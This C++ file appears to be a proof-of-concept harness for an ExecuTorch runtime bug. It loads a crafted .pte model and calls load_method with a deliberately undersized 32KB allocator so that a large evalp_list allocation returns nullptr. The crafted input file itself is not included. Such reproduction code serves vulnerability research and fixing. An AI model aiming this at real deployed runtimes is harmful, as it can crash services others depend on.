#include #include #include #include #include #include #include #include #include using executorch::runtime::Program; using executorch::runtime::MemoryAllocator; using executorch::runtime::HierarchicalAllocator; using executorch::runtime::MemoryManager; using executorch::runtime::Method; using executorch::runtime::DataLoader; using executorch::runtime::FreeableBuffer; using executorch::runtime::Result; using executorch::runtime::Error; using executorch::runtime::Span; // Simple data loader: read file into memory class SimpleLoader : public DataLoader { public: SimpleLoader(const uint8_t* data, size_t size) : data_(data), size_(size) {} Result load( size_t offset, size_t size, __ET_UNUSED const DataLoader::SegmentInfo& info) const override { if (offset + size > size_) { return Error::InvalidArgument; } return FreeableBuffer(data_ + offset, size, nullptr); } Result size() const override { return size_; } private: const uint8_t* data_; size_t size_; }; int main(int argc, char** argv) { const char* path = argc > 1 ? argv[1] : "poc_bug11.pte"; FILE* f = fopen(path, "rb"); if (!f) { fprintf(stderr, "cannot open %s\n", path); return 1; } fseek(f, 0, SEEK_END); size_t fsize = ftell(f); fseek(f, 0, SEEK_SET); uint8_t* buf = (uint8_t*)malloc(fsize); fread(buf, 1, fsize, f); fclose(f); fprintf(stderr, "[harness] loaded %zu bytes from %s\n", fsize, path); et_pal_init(); SimpleLoader loader(buf, fsize); Result program = Program::load(&loader); if (!program.ok()) { fprintf(stderr, "[harness] Program::load failed: 0x%x\n", (unsigned)program.error()); free(buf); return 2; } fprintf(stderr, "[harness] Program loaded OK\n"); // Small method allocator: 32KB — enough for values_ (2 * EValue) // but NOT enough for evalp_list (50000 * 8 = 400KB) → nullptr static uint8_t method_pool[32 * 1024]; MemoryAllocator method_alloc(sizeof(method_pool), method_pool); // Empty planned memory Span planned_span((uint8_t*)nullptr, (size_t)0); HierarchicalAllocator planned({&planned_span, 1}); MemoryManager memory_manager(&method_alloc, &planned); fprintf(stderr, "[harness] calling load_method('forward') with 32KB allocator\n"); Result method = program->load_method("forward", &memory_manager); if (method.ok()) { fprintf(stderr, "[harness] method loaded (unexpected)\n"); } else { fprintf(stderr, "[harness] load_method error: 0x%x\n", (unsigned)method.error()); } free(buf); return 0; }